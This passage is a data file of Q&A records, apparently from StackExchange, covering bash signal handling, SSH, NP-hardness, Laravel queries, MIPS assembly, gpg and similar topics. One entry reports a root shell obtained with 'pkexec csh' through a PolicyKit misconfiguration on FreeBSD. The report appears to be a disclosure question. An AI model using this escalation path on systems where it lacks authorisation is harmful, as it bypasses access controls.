strace -o foo -ff bash code2189921899code: line 9: 21899 Terminated              yes > /dev/null-bash-4.2$ We find that the yes process ends up with SIGINT ignored:-bash-4.2$ egrep 'exec.*yes' foo.21*foo.21898:execve(/usr/bin/pkill, [pkill, yes], [/* 24 vars */]) = 0foo.21899:execve(/usr/bin/yes, [yes], [/* 24 vars */]) = 0foo.21903:execve(/usr/bin/pgrep, [pgrep, yes], [/* 24 vars */]) = 0foo.21904:execve(/usr/bin/pkill, [pkill, yes], [/* 24 vars */]) = 0-bash-4.2$ grep INT foo.21899rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x7f18ebee0250}, {SIG_DFL, [], SA_RESTORER, 0x7f18ebee0250}, 8) = 0rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x7f18ebee0250}, {SIG_DFL, [], SA_RESTORER, 0x7f18ebee0250}, 8) = 0rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7f18ebee0250}, {SIG_DFL, [], SA_RESTORER, 0x7f18ebee0250}, 8) = 0--- SIGINT {si_signo=SIGINT, si_code=SI_USER, si_pid=21897, si_uid=1000} ----bash-4.2$ Repeat this test with the perl code and one should see that SIGINT is not ignored, or also that under pdksh there is no ignore being set as there is in bash. With monitor mode turned on like it is in interactive mode in bash, yes is killed.-bash-4.2$ cat monitorcode #!/bin/bashset -mpkill yesyes >/dev/null &pid=$!echo $pidsleep 2kill -INT $pidsleep 2pgrep yespkill yes-bash-4.2$ ./monitorcode 22117[1]+  Interrupt               yes > /dev/null-bash-4.2$ "  } 
{  "id": "_unix.331576"  , "question": "I am on a CentOS guest OS on a VirtualBox. I need to connect to this server through SSH using its public IP. More importantly, I need to connect to this server from within the guest host.I have tried port forwarding with NAT as some forum suggested but I think I am lost there. SSH output is just root@localhost ~]# ssh user@xx.xxx.xxx.xxxssh: connect to host xx.xxx.xxx.xxx port 22: Connection refusedI am able to connect to the server through host machine."  , "title": "SSH to a server from inside a VM"  , "tags": "ssh;networking;virtualbox"  } 
{  "id": "_cs.13698"  , "question": "I have a problem $\\Pi_1$ that I want to show that is NP-hard. I know that I must find an NP-hard problem $\\Pi_2$ and a polynomial time reduction $f()$ from instances of $\\Pi_2$ to $\\Pi_1$ such that $I_2$ is an Yes-instance of $\\Pi_2$ iff $I_1=f(I_2)$ is an Yes-instance of $\\Pi_1$.What if I find a (constant sized) family of reductions $f_i()$ such that $I_2$ is an Yes-instance of $\\Pi_2$ iff at least one $f_i(I_2)$ is an Yes-instance of $\\Pi_1$? Is this enough? Is there a way of translating this one in the classical definition? How to formalize this?I know that in the second situation I can say that I can't solve $\\Pi_1$ in polynomial time unless P=NP, but I'm no sure that is equivalent of saying that $\\Pi_1$ is NP-hard."  , "title": "NP-Hardness reduction"  , "tags": "complexity theory;reductions;np hard"  } 
{  "id": "_cs.38374"  , "question": "what is the best book to gain an introductory understanding of approximation algorithms? I'm looking for something along the lines of the Sedgewick, that has examples written in a well known language and not psuedocode."  , "title": "Reference for approximation algorithms"  , "tags": "algorithms;approximation"  } 
{  "id": "_unix.71911"  , "question": "First off I'm new to Linux. I have created a new user called ginny with -M option.Now I'm trying to assign a home directory with usermod -d /link/to/directory ginny but it doesn't assign a home directory to user ginny.% su - ginny returns an errorsu: warning : cannot chance directory to /abc: No such file or directory-bash-3.2$: The pwd command returns /root for user ginny (maybe because i haven't created her a home directory) but is there any switch that can now allow me to assign a home directory to user ginny?"  , "title": "adding home directory after -M option"  , "tags": "centos;useradd"  , "accepted_answer": "The user's home directory doesn't exist. usermod changes the home directory field in /etc/passwd but doesn't create the directory. You need to create it manually.cp -a /etc/skel /link/to/directory          # or mkdir /link/to/directory to create an empty home directorychown ginny:ginnygroup /link/to/directory   # where ginnygroup is ginny's primary groupchmod 755 /link/to/directory                # or 711 or 700 or 751 or 750 as desired"  } 
{  "id": "_codereview.127679"  , "question": "I needed a deque who's maxlen can be set again after it has been initialized. So, since new-style classes in Python are treated as types, I decided to create a new class borrowing from deque to accomplish this. My approach is to have an internal deque as an attribute and when maxlen is set, it replaces the internal deque with a new one, initialized to the old contents and the new maxlen.I tried subclassing deque but it's too crude, creating a deque that's useless on top with the useful one internally. So I chose to simply have all of the wrapper class's attributes (except special ones) point to the internal deque's. However, due to how new-style classes work, the special  attributes have to be handled manually. Since all I want is to override maxlen's setter, all of this seems inelegant and I'm wondering if there's a cleaner way of accomplishing this.From what I've read here, it seems I could subclass this class in __new__ to skip overriding the special attributes, but that seems even more hairy than what I already wrote.This is the result, stripped of extraneous comments (complete code here if you want something runnable, with tests):# -*- coding: utf-8 -*-from __future__ import print_functionfrom collections import dequeclass ResizableDeque(object):    def __init__(self, *args, **kwargs):        self.internal = deque(*args, **kwargs)        skip_list = [            'maxlen'        ] + [attr for attr in dir(deque) if attr.startswith('__') and             attr.endswith('__')]        for attr in dir(deque):            if attr not in skip_list:                setattr(self, attr, getattr(self.internal, attr))    @property    def maxlen(self):        return self.internal.maxlen    @maxlen.setter    def maxlen(self, value):        templist = list(self.internal)        self.internal = deque(templist, value)    def __str__(self):        return self.internal.__str__()    def __repr__(self):        return self.internal.__repr__()    def __getitem__(self, value):        return self.internal.__getitem__(value)    def __setitem__(self, index, value):        return self.internal.__setitem__(index, value)    # these have not been tested    def __copy__(self):        return self.internal.__copy__()    def __delitem__(self, index):        return self.internal.__delitem__(index)    def __iadd__(self, other):        return self.internal.__iadd__(other)    def __len__(self):        return self.internal.__len__()    # not sure if overriding __sizeof__ is wise this way    def __sizeof__(self):        return self.__sizeof__() + self.internal.__sizeof__()    # pretty sure this is ok    def __format__(self, spec):        return self.internal.__format__(spec)"  , "title": "Transparent wrapper class for data structure in Python"  , "tags": "python;object oriented"  } 
{  "id": "_codereview.166176"  , "question": "Okay, This is my method:public function edit(Request $request, $ent, $room, $obj){    $input = $request->except(['_token']);    Enterprise::where('bedrijfsnaam', $ent)->first()->rooms()->where('name', $room)->first()->objects()->where('name', $obj)->first()->update($input);    return redirect('/enterprise/'.$ent.'/room/'.$room);}As you can see, at Enterprise::where() I have a really long relation, But it doesn't feel right to have such a long relation. Is it just okay to have one this large or is there a better way to do it?"  , "title": "Laravel - super long relation, it doesn't feel right"  , "tags": "php;laravel;eloquent"  , "accepted_answer": "I suggest you figure out a way to view the execution history for all of the SQL statements across your application. This can be an absolute god-send when trying to untangle or optimize your queries.I'd recommend using https://github.com/barryvdh/laravel-debugbar . It has a lot of other features as well but presents everything very neatly. There are ways to view the history with custom event listeners and such (https://stackoverflow.com/a/27753889/3224736) but the extra effort for debugbar would be worth it, IMO.As for your specific query, I believe it'd compile into four separate queries. Three for each time you call first() and one for the update.Eloquent does allow defining distant relationships with properties like hasManyThrough (https://laravel.com/docs/5.2/eloquent-relationships#has-many-through) but they can get as messy as manually querying the relationships. I'd give it a try, at least.The other option is to use joins for the three selects. Something likeEnterprise::where('bedrijfsnaam', $ent)    ->join('rooms', function ($join) {        $join->on('enterprise.id', '=', 'rooms.enterprise_id')             ->where('rooms.name', '=', $room);    })    ->join('objects', function ($join) {        $join->on('rooms.id', '=', 'objects.room_id')             ->where('objects.name', '=', $obj);    })->first();(That's just me guessing at your schema, though. You can modify that as needed).Using one big join would compile into one query, meaning one round trip to the database. Just be sure you have proper indexes on your columns or the query could get bogged down.-Or you can investigate eager loading and lazy eager loading your relationships.That would at least reduce the apparent complexity of your query. But those are most useful if you anticipate iterating the relationships, rather than just selecting one of them. They wouldn't likely do much to speed up your current query.As complete tangents, I'd recommend investigating two items.Make sure your models define fillable arrays. Without them, passing the entire $input into it, even if you try to manually prune it, can lead to nasty security/integrity holes.See if you can use a route or action instead of a raw redirect. Laravel is built to use MVC through-and-through so you might as well learn how to use it early on, rather than patch all your manual stuff later."  } 
{  "id": "_unix.175012"  , "question": "recently found subj on FreeBSD 10.x out of the box (with KDE4):[user@fbsd10] /home/user% suPassword:su: Sorry[user@fbsd10] /home/user% sudo cshPassword:Sorry, user user is not allowed to execute '/bin/csh' as root on fbsd10.[user@fbsd10] /home/user% pkexec csh==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===Authentication is needed to run `/bin/csh' as the super userAuthenticating as: userPassword: [entered users password]==== AUTHENTICATION COMPLETE ===[root@fbsd10] ~# iduid=0(root) gid=0(wheel) groups=0(wheel),5(operator)This file looks like the cause of such behavior:/usr/local/share/polkit-1/actions/org.freedesktop.policykit.policyAm I doing something wrong?"  , "title": "KDE4 PolicyKit backdoor(misconfiguration) (tested on FBSD10x,PCBSD, probably will work on linux)"  , "tags": "freebsd;kde;policykit;vulnerability"  } 
{  "id": "_webmaster.101095"  , "question": "My web-application is running on a node server on azure. I need to implement the If-Modified-Since header on this server. Could you please guide me how to do this?I tried implementing by setting the header in server.js file, but it is not working apparently."  , "title": "How do I implement If-Modified-Since header on a node server?"  , "tags": "http headers;cache control;node js"  } 
{  "id": "_unix.165820"  , "question": "I am writing a long-running program in the Linux environment that will be calculating entries in a large table.  Every time it comes to the end of the row, it outputs the calculated values into a plaintext file.To avoid having to continually reopen the file and append to it, I am considering just opening the file once and holding it open for the duration of the program.  I know that there is a limit on the maximum number of file descriptors that can be open at once, but is there a time limit on a single file descriptor being held for an extended period of time?Note: The process I am running could potentially take a month or more to complete."  , "title": "Maximum time a file descriptor can be held"  , "tags": "files"  } 
{  "id": "_unix.239274"  , "question": "I don't have control over the installation of debian, it's a pre-built debian 7 image provisioned by the VPS provider. It consumes about 6.5GB of disk space 'out of the box.'Do you think it's possible to get this install down below 500MB of disk space? It's on an OpenVZ host. Very few services are needed (pretty much SSH only).There is a discussion about removing components from debian, but it isn't clear what the net change in disk space will be: https://wiki.debian.org/ReduceDebianThe VPS provider also has CentOS and Ubuntu images. I haven't tried them; I'd assume their disk space utilization is similar.It's a grandfathered, very cheap VPS plan. As such, attempting to reduce the OS's consumed disk space for my application might be worthwhile (instead of buying a more expensive tier with more storage).Thank you for your insight."  , "title": "What's the minimal disk usage of stripped-down Debian 7 installation on a VPS?"  , "tags": "debian;disk usage;vps"  } 
{  "id": "_unix.359759"  , "question": "I know this is a common problem for new users in Debian [I'm using Jessie]. I have tried following the steps on the Debian wiki here to install Flash after adding the nonfree repos with no luck. Here is my sources files, which, I'll admit, is a bit of a mess:#deb cdrom:[Debian GNU/Linux 8 _Jessie_ - Official Snapshot amd64 LIVE/INSTALL Binary 20170116-23:46]/ jessie main #deb cdrom:[Debian GNU/Linux 8 _Jessie_ - Official Snapshot amd64 LIVE/INSTALL Binary 20170116-23:46]/ jessie main deb http://ftp.uk.debian.org/debian/ jessie main contrib non-freedeb-src http://ftp.uk.debian.org/debian/ jessie main contrib non-free#deb http://security.debian.org/ jessie/updates main #deb-src http://security.debian.org/ jessie/updates main # jessie-updates, previously known as 'volatile'deb http://ftp.uk.debian.org/debian/ jessie-updates main deb-src http://ftp.uk.debian.org/debian/ jessie-updates main deb http://ftp.debian.org/debian/ jessie main non-free contrib deb-src http://ftp.debian.org/debian/ jessie main non-free contrib deb http://ftp.debian.org/debian/ jessie-updates main contrib non-free deb-src http://ftp.debian.org/debian/ jessie-updates main contrib non-free deb http://security.debian.org/ jessie/updates main contrib non-freedeb-src http://security.debian.org/ jessie/updates main contrib non-free deb http://deb.opera.com/opera-stable/ stable non-free #deb http://httpredir.debian.org/debian/ jessie main #deb-src http://httpredir.debian.org/debian/ jessie main #deb http://httpredir.debian.org/debian/ jessie-updates main #deb-src http://httpredir.debian.org/debian/ jessie-updates main #deb http://security.debian.org/ jessie/updates main #deb-src http://security.debian.org/ jessie/updates main deb http://httpredir.debian.org/debian/ jessie main contrib non-free deb-src http://httpredir.debian.org/debian/ jessie main contrib non-free deb http://httpredir.debian.org/debian/ jessie-updates main contrib non-free deb-src http://httpredir.debian.org/debian/ jessie-updates main contrib non-free deb http://ppa.launchpad.net/no1wantdthisname/ppa/ubuntu trusty maindeb-src http://ppa.launchpad.net/no1wantdthisname/ppa/ubuntu trusty maindeb http://http.debian.net/debian jessie-backports main contribNow I tried installing pepperflash from the guide here. The output of apt-cache policy flashplugin-nonfree givesflashplugin-nonfree:  Installed: 1:3.6.1+deb8u1  Candidate: 1:3.6.1+deb8u1  Version table: *** 1:3.6.1+deb8u1 0        500 http://ftp.uk.debian.org/debian/ jessie/contrib amd64 Packages        500 http://ftp.debian.org/debian/ jessie/contrib amd64 Packages        500 http://httpredir.debian.org/debian/ jessie/contrib amd64 Packages        100 /var/lib/dpkg/statusBut still nothing works. I am determined to sort this out but maybe am looking in the wrong places? "  , "title": "Cannot install Flash player after adding nonfree repos"  , "tags": "debian"  } 
{  "id": "_softwareengineering.179247"  , "question": "I have been having some fun lately exploring the development of language parsers in the context of how they fit into the Chomsky Hierarchy.What is a good real-world (ie not theoretical) example of a context-sensitive grammar? "  , "title": "What is a real-world use case of using a Chomsky Type-I (context-sensitive) grammar"  , "tags": "language design;parsing;grammar"  , "accepted_answer": "Good question.  Although as mentioned in the comments very many programming languages are context-sensitive, that context-sensitivity is often not resolved in the parsing phase but in later phases -- that is, a superset of the language is parsed using a context-free grammar, and some of those parse trees are later filtered out.However, that does not mean that those languages aren't context-sensitive, so here are some examples:Haskell allows you to define functions that are used as operators, and to also define the the precedence and associativity of those operators.  In other words, you can't build the correct parse tree for an operator expression like:a @@ b @@ c ## d ## eunless you've already parsed the precedence/associativity declarations for @@ and ##:infixr 8 @@infixr 6 ##A second example is Bencode, a data language that prefixes content with its length:<length>:<contents>The issue with this format is that it's pretty much impossible to parse without something context-sensitive, because the only way to figure out the field sizes is by ... parsing the string.A third example is XML, assuming arbitrary tag names are allowed:  opening tag names must have matching close tags:<hi> <bye> the closing tag has to match bye </bye></hi> <!-- has to match hi -->"  } 
{  "id": "_unix.108363"  , "question": "I have an program that calls libcurl, and libcurl calls libgssapi_krb5.If I want to debug calls to libcurl, then ltrace works.But now I want to debug calls to libgssapi_krb5, then ltrace my_program does not give out anything."  , "title": "How to trace calls to library from library?"  , "tags": "debugging;ltrace"  } 
{  "id": "_unix.208702"  , "question": "I want to monitor changes made a folder that is mounted via SSHFS.I have tried iwatch but it does not notify when a new file is created, below is the syntax I am using with iwatch:iwatch -e create /mnt/mme01/Any idea why this is not working and how it can be achieved?"  , "title": "Monitor folders mounted via SSHFS"  , "tags": "filesystems;mount;sshfs"  } 
{  "id": "_unix.232651"  , "question": "I've got a file with with a list of words each delimited by tabs. I'm trying to use grep to search for two of the words, but I can't figure out how to include the tab in the search string. I've tried:grep -i -e word1 \\tword2along with several variations, but I still can't figure it out. Anyhelp?"  , "title": "How to grep for two words with a tab in between them"  , "tags": "bash;grep"  } 
{  "id": "_unix.8854"  , "question": "I'm migrating to a new webserver which has SELinux set up (running Centos 5.5). I've got it set up so that it can execute CGI scripts with no problem, but some of the older Perl based scripts are failing to connect to remote webservices (RSS feeds and the like).Running: grep perl /var/log/audit/audit.log gives:type=SYSCALL msg=audit(1299612513.302:7650): arch=40000003 syscall=102 success=no exit=-13 a0=3 a1=bfb3eb90 a2=57c86c a3=10 items=0 ppid=22342 pid=22558 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=235 comm=index.cgi exe=/usr/bin/perl subj=root:system_r:httpd_sys_script_t:s0 key=(null)As my crash course in SELinux goes, it looks like it is actively refusing the outbound connection, but how do I configure it to allow for CGI scripts to make outbound requests?"  , "title": "How do I configure SELinux to allow outbound connections from a CGI script?"  , "tags": "centos;selinux"  , "accepted_answer": "You probably need to enable the httpd_can_network_connect SELinux boolean:Run as root:# setsebool -P httpd_can_network_connect 1"  } 
{  "id": "_cstheory.22206"  , "question": "Consider the following set.$S_n =\\{ (x,y) ~|~x \\in \\mathbb{Z}_+~\\wedge~ y \\in \\{0,1\\}^n ~\\wedge~x=\\sum_{i=0}^{n-1} 2^i y_i \\}$$S_n$ is a collection of pairs $(x,y)$, where $x$ is an integer between 0 and $2^n-1$ and $y$ is its binary representation. I'm interested in the convex hull of $S_n$; you can call it $P_n$. Has $P_n$ been studied before? Does it admit a compact extended formulation?"  , "title": "What is known about this binary representation polytope?"  , "tags": "linear programming;integer programming;polytope"  , "accepted_answer": "I think $S_n$ can be written in terms of inequalities in the obvious way. Let$$Q_n = \\{(x, y): x = \\sum_{i = 0}^{n-1}{2^i y_i}, \\forall i: 0 \\leq y_i \\leq 1\\}.$$I claim that $Q_n = S_n$. First, obviously all $(x, y) \\in S_n$ are also in $Q_n$, so $S_n \\subseteq Q_n$. Second, fix a point $(x^*, y^*) \\in Q_n$. Consider the probability distribution over $\\{0, 1\\}^n$ induced by picking $y_i = 1$ with probability  $y^*_i$, independently for each $i$. If $y$ is sampled from that distribution, then, by linearity of expectation,$$\\mathbb{E}\\ x = \\mathbb{E} \\sum_{i = 0}^{n-1}{2^i y_i} = \\sum_{i = 0}^{n-1}{2^i y^*_i} = x^*.$$Therefore $(x^*, y^*)$ is in the convex hull of $S_n$, which proves $Q_n \\subseteq S_n$.BTW, this didn't really use anything special about $S_n$. Whenever you have the convex hull of the set $\\{(x, y): y \\in S, x = Ay\\}$, and the convex hull of $S$ has a concise extended formulation, the same thing will work. The main point is that $x$ is a linear function of $y$. Here we used the fact that the cube $[0, 1]^n$ has a very easy formulation in terms of inequalities."  } 
{  "id": "_codereview.82188"  , "question": "I am new to assembly and have made a simple addition program to sum two integers read from the keyboard. The program outputs correctly, but I want to know if there is a way to streamline my code. It seems a bit cumbersome for such a simple program and I may have instructions that are unnecessary. # Author: Evan Bechtol# Description: This program prompts the user to enter 2 integers and computes their sum.#---------------------------------------------------------------------------------------#        .dataA:          .word       # Store the number 4 as an integer in var1  # $t0 is usedB:          .word       # Store the number 2 as an integer in var2  # $t1 is usedS:          .word       # Store the sum of A and B          # $t2 is usedPrompt1:    .asciiz Please enter first number: Prompt2:    .asciiz Please enter second number: Result:     .asciiz The sum of A and B is:         .textmain:    #--------------------------------------------------------#    #Display first prompt    li  $v0, 4      # Load instruction print string    la  $a0, Prompt1    # Load prompt into $a0    syscall    #Read first integer    li  $v0, 5      # Read 1st integer    la  $t0, A      # $t0 = A    syscall    #Store first integer into memory    move    $t0, $v0    # Move contents in $v0 to $t0    sw  $t0, A      # A = value at $t0     #--------------------------------------------------------#    #Display second prompt    li  $v0, 4      # Load instruction print string    la  $a0, Prompt2    # Load prompt into $a0    syscall    #Read second integer    li  $v0, 5      # Read 1st integer    la  $t1, B      # $t0 = A    syscall    #Store second integer into memory    move    $t1, $v0    # Move contents in $v0 to $t0    sw  $t1, B      # A = value at $t0     #--------------------------------------------------------#    #Add the two variables    la  $t2, S      # $t2 = S       add     $t2, $t0, $t1   # $t2 = $t0 + $t1    sw  $t2, S      # S = value at $t2    #Display the Result prompt    la  $a0, Result # Loads Output label to be printed    li  $v0, 4      # Sysycall to print string    syscall    #Display the sum    lw  $a0, S      # $a0 = value at S    li  $v0, 1      # Syscall to print integer    syscall    #Exit the program    li  $v0, 10     # Load exit code to $v0    syscall"  , "title": "MIPS assembly addition program"  , "tags": "beginner;assembly"  , "accepted_answer": "The comments are misleading:#Read second integerli  $v0, 5      # Read 1st integerla  $t1, B      # $t0 = Aumm... are we reading second or 1st? Bottomline is, do not overcomment the code.syscall 5 leaves a value in $v0. The contents of $t0 (or $t1) is irrelevant during the syscall. Set them up when you need them:li $v0, 5syscallla $t0, Amove    $t0, $v0You store data to memory just to load them back. This is very anti-assembly. Generally you want to use registers as much as possible, and avoid memory as much as possible:li $v0, 5syscallmove $t0, $v0...li $v0, 5syscall# At this moment you have first integer in $t0, and the second in $v0.# Just add them together. No memory access is necessary.Consult your documentation on which registers are guaranteed to survive a syscall (I suspect, all of them besides $v0).Nothing to simplify reading and printing. "  } 
{  "id": "_codereview.91663"  , "question": "Swift's SequenceType is a useful means of generating a sequence of values, and it makes it particularly useful iterate over these values.I don't really have much experience with these SequenceType types, so I wanted to implement my own for some practice and learning.  What better sequence to take a look at than a Fizz Buzz sequence, right?I wanted to make this Fizz Buzz a little special though.  I wanted the user to define any sort of rules and add as many tests as they wanted.  We just pair each test with a word, pass an array of these test-word pairs, and let the sequence do all the work.So, to start out, I create custom types for the Test and the test-word Pair:typealias FizzBuzzRule = (Int) -> Booltypealias FizzBuzzPair = (test: FizzBuzzRule, word: String)So using a normal FizzBuzz example, we'd create the ordinary Fizz and Buzz tests like this:let fizzTest = { (i: Int) -> Bool in    return i % 3 == 0}let buzzTest = { (i: Int) -> Bool in    return i % 5 == 0}let fizzPair: FizzBuzzPair = (fizzTest, Fizz)let buzzPair: FizzBuzzPair = (buzzTest, Buzz)let pairs = [fizzPair, buzzPair]But of course, we can create any sort of rules we want.  These are just examples, and as we see the rest of the code, we'll see how using these example rules will produce the standard FizzBuzz problem results.The next step is writing a function to apply the rules and produce the required output.  For that, I wrote the fizzBuzzify function:func fizzBuzzify(value: Int, fizzBuzzPairs: [FizzBuzzPair]) -> String {    var retnValue: String? = nil    for pair in fizzBuzzPairs {        if pair.test(value) {            retnValue = (retnValue ?? ) + pair.word        }    }    return retnValue ?? String(value)}So now, we can pass any value and any array of Test-Word pairs, and build our FizzBuzz-type string simply using this function.Already, we could do something like this:for x in 1...100 {    println(fizzBuzzify(value, pairs))}But, I wanted to go one step further and improve this into a sequence which generates the values for us, so I needed to create FizzBuzzSequence as a SequenceType:struct FizzBuzzSequence: SequenceType {    let startValue: Int    let endValue: Int    let pairs: [FizzBuzzPair]    init(start: Int = 1, end: Int = 100, pairs: [FizzBuzzPair]) {        self.startValue = start        self.endValue = end        self.pairs = pairs    }    init(start: Int = 1, end: Int = 100, pairs: FizzBuzzPair...) {        self.init(start: start, end: end, pairs: pairs)    }    func generate() -> GeneratorOf<String> {        var value: Int = self.startValue        return GeneratorOf<String> {            return (value <= self.endValue) ? fizzBuzzify(value++, self.pairs) : nil        }    }}And now, that we've put it all together, it can be used as simply as:for fizzBuzzValue in FizzBuzzSequence(start: 1, end: 100, pairs: pairs) {    println(fizzBuzzValue)}And assuming pairs is the same array of FizzBuzzPair that we set up earlier, this will have the exact same results as any other FizzBuzz program you'd expect to see.But we can now start at any value, end at any value, and set up any rules we want.I'm looking for general comments on Swiftiness of this code, as well as double checking efficiency of the program in general.  Am I even using the SequenceType how it's intended to be used?For clarify, below is the full set of code to be reviewed put together (it was split up by commentary above):typealias FizzBuzzRule = (Int) -> Booltypealias FizzBuzzPair = (test: FizzBuzzRule, word: String)func fizzBuzzify(value: Int, fizzBuzzPairs: [FizzBuzzPair]) -> String {    var retnValue: String? = nil    for pair in fizzBuzzPairs {        if pair.test(value) {            retnValue = (retnValue ?? ) + pair.word        }    }    return retnValue ?? String(value)}struct FizzBuzzSequence: SequenceType {    let startValue: Int    let endValue: Int    let pairs: [FizzBuzzPair]    init(start: Int = 1, end: Int = 100, pairs: [FizzBuzzPair]) {        self.startValue = start        self.endValue = end        self.pairs = pairs    }    init(start: Int = 1, end: Int = 100, pairs: FizzBuzzPair...) {        self.init(start: start, end: end, pairs: pairs)    }    func generate() -> GeneratorOf<String> {        var value: Int = self.startValue        return GeneratorOf<String> {            return (value <= self.endValue) ? fizzBuzzify(value++, self.pairs) : nil        }    }}"  , "title": "Ultimate FizzBuzz"  , "tags": "swift;fizzbuzz;generator"  } 
{  "id": "_unix.32061"  , "question": "I'm trying to:Launch several ssh sessions (processes) through a script (Python)Communicate with the sessions by sending them commands via STDIN (even though they aren't open in my current terminal)I've got the session spawning part down. I'm just unable to grab the process and send it stuff. I should mention this is a realm I've only recently started delving in so I'm definitely missing theory.Explanation:In-depth what I'm trying to do is launch ssh WITHOUT a terminal (I'm already doing this with python, so that isn't the issue) in the background. My problem arises when I actually want to communicate with the background process. How can I send data to a background process' STDIN?"  , "title": "How can I send data to the STDIN of a background process?"  , "tags": "ssh;process;io redirection"  , "accepted_answer": "It would be easier to use a named pipe to communicate with the processes than try to modify the FD whilst it's open. Set the named pipe as the process' standard input and write to it as required."  } 
{  "id": "_webmaster.81544"  , "question": "I have a platform which uses a responsive design. The structure of the website is like this: Domain/#!/Product_type/Product_IDHere, I am trying to create the alias URL (Using an earlier version of Drupal) where I replace <Product ID> with <Product Name>. This is not possible, since the URL structure in the responsive page and the earlier Drupal version doesn't match. One fix which my team suggested is creating an alias URL in this format. Domain/#!/Product_type%2bProduct_ID where %2b is the unicode version of the /. I want to know if structuring the URL with a %2b will affect the SEO of the page in any way."  , "title": "If the string '%2b' exists in the URL alias, does it affect SEO of the page?"  , "tags": "seo;url"  } 
{  "id": "_opensource.5399"  , "question": "I want to put a BSD license in some code. I use part of code that doesn't have license information but it belongs to other people who I don't know. It was given to my from other privates but the code it self doesn't have a copyrigth claim. I want to put BSD license to my part of the work. How can I put my BSD license? Is the 2 terms bsd."  , "title": "Derivative work BSD license when not known original work"  , "tags": "licensing;bsd"  } 
{  "id": "_unix.30987"  , "question": "In Windows command line (powershell and cmd), when you press Esc key while on a line, whatever you have typed at the prompt is removed.I found that pressing Esc key at bash prompt does nothing. Pressing Esc and then backspace deletes a word, but this has to be done for each word.I am learning Bash incrementally and sometimes type something stupid in the middle of the line and feel that it is better to type from scratch again. To do this, pressing backspace is the only way I found until now. What do you do?I am aware of the clear command and Ctrl-L shortcut, but I am not talking about clearing the entire terminal. Just the line."  , "title": "Windows shell Escape key (delete whole line) equivalent in Bash"  , "tags": "bash;command line"  , "accepted_answer": "You want kill-whole-line, but this is not bound by default in bash. backward-kill-line (CtrlX Backspace) and unix-line-discard (CtrlU) both erase from the current point to the beginning of the line, so just go to the end of the line and use either."  } 
{  "id": "_unix.149386"  , "question": "Suppose I have the following two entries line of iptables:iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEiptables -A INPUT -s 192.168.1.0/24 -j DROPSo, I have POSTROUTING and INPUT chains.Then I can get the result list with:iptables -L  -t nat -n --line-numbers -t filterMy result is:Chain INPUT (policy ACCEPT)num  target     prot opt source               destination         1    DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:702    DROP       all  --  10.10.10.0/24        0.0.0.0/0           My quesion is, how can I find out which rule belongs to POSTROUTING and which belongs to INPUT ?"  , "title": "how to find out which chain in iptables in listing"  , "tags": "iptables;firewall"  } 
{  "id": "_unix.231917"  , "question": "I installed Kali 2.0 on an Oracle VirtualBox. Everything was going fine until I tried to run the commandapt-get -y install dkmsThis gave me the following error messagePackage dkms is not available, but is referred to by another package.This may mean that the package is missing, has been obsoleted, oris only available from another sourceE: Package 'dkms' has no installation canidateHere's the output I get when I runapt-cache policyWhy am I getting an this error message and how do I fix it?I'm a newcomer to both Linux and Kali, so this is the guide I was following. I hit this error at around 9:45 in the video."  , "title": "E: Package 'dkms' has no installation candidate"  , "tags": "linux;kali linux"  } 
{  "id": "_unix.358471"  , "question": "I am trying to use mv to rename files. Some of the names of the files to be renamed contain apostrophes (or single quotes). And the file names are to be passed to mv with variables. But I cannot get that to work.When I give the file names to mv directly, it does work, like that:mv Artificial intelligence/Markoff_Rosenberg__China's_intelligent_weaponry_gets_smarter.pdf Artificial intelligence/Markoff_Rosenberg__Chinas_intelligent_weaponry_gets_smarter_(r1205).pdfBut when I use variables, it does not work:orig=Artificial intelligence/Markoff_Rosenberg__China's_intelligent_weaponry_gets_smarter.pdfnew=Artificial intelligence/Markoff_Rosenberg__Chinas_intelligent_weaponry_gets_smarter_(r1205).pdfmv $orig $newI receive the following error message:mv: cannot stat 'Artificial intelligence/Markoff_Rosenberg__China'\\''s_intelligent_weaponry_gets_smarter.pdf': No such file or directoryWhy is that? Why is there an extra \\'' in the file name in the error message? And what is the solution to the problem?Thanks in advance for your help!"  , "title": "bash: mv file with apostrophe in file name"  , "tags": "bash"  } 
{  "id": "_unix.267844"  , "question": "I received an file encrypted with the public key I generated but I can't get it to decrypt.Steps:gpg key-gen default optionsgpg --export -a <email> > pub.keysent the pub.keyreceived the encrypted filecat <file> | gpgThe error:$ cat cred.gpg | gpggpg: key 71980D35: secret key without public key - skippedgpg: encrypted with RSA key, ID 0D54A10Agpg: decryption failed: secret key not availableHowever, the secret key DOES exist in my keyring and the public key i generate from it matches the fingerprint of the pub.key i sent to my coworker.$ gpg --list-secret-keys /home/jcope/.gnupg/secring.gpg------------------------------sec   2048R/71980D35 2016-03-04uid                  me <email>ssb   2048R/0D54A10A 2016-03-04Checking the fingerprint    $ gpg --with-fingerprint pub.key     pub  2048R/AF0A97C5 2016-03-04 me <email>          Key fingerprint = 17A4 63BF 5A7D D3B2 C10F  15C0 EDD6 4D8A AF0A 97C5    sub  2048R/1103CA7C 2016-03-04$ gpg --fingerprint | grep 17a4 -i      Key fingerprint = 17A4 63BF 5A7D D3B2 C10F  15C0 EDD6 4D8A AF0A 97C5I'm a gpg newby and at a loss for why this isn't working.  It seems like the most standard operation."  , "title": "gpg: secret key not available when sec & pub key are in keyring"  , "tags": "encryption;gpg"  , "accepted_answer": "Note the error message: it doesn't say that the secret key is missing (it isn't), it says the public key is missing.gpg: key 71980D35:secret key without public key- skippedIn RSA, some numbers (d, p, q, u) are private and others (n, e) are public. Only the 2 public numbers are required for encryption and signature verification while all 6 numbers are required in order to decrypt and sign. So for the latter operations, you actually need both the secret and public keys.Did the public key get deleted from the pubring by accident?You can try re-importing the public key. Since the public key is the one that is distributed widely, it should be easy to re-obtain a copy of it."  } 
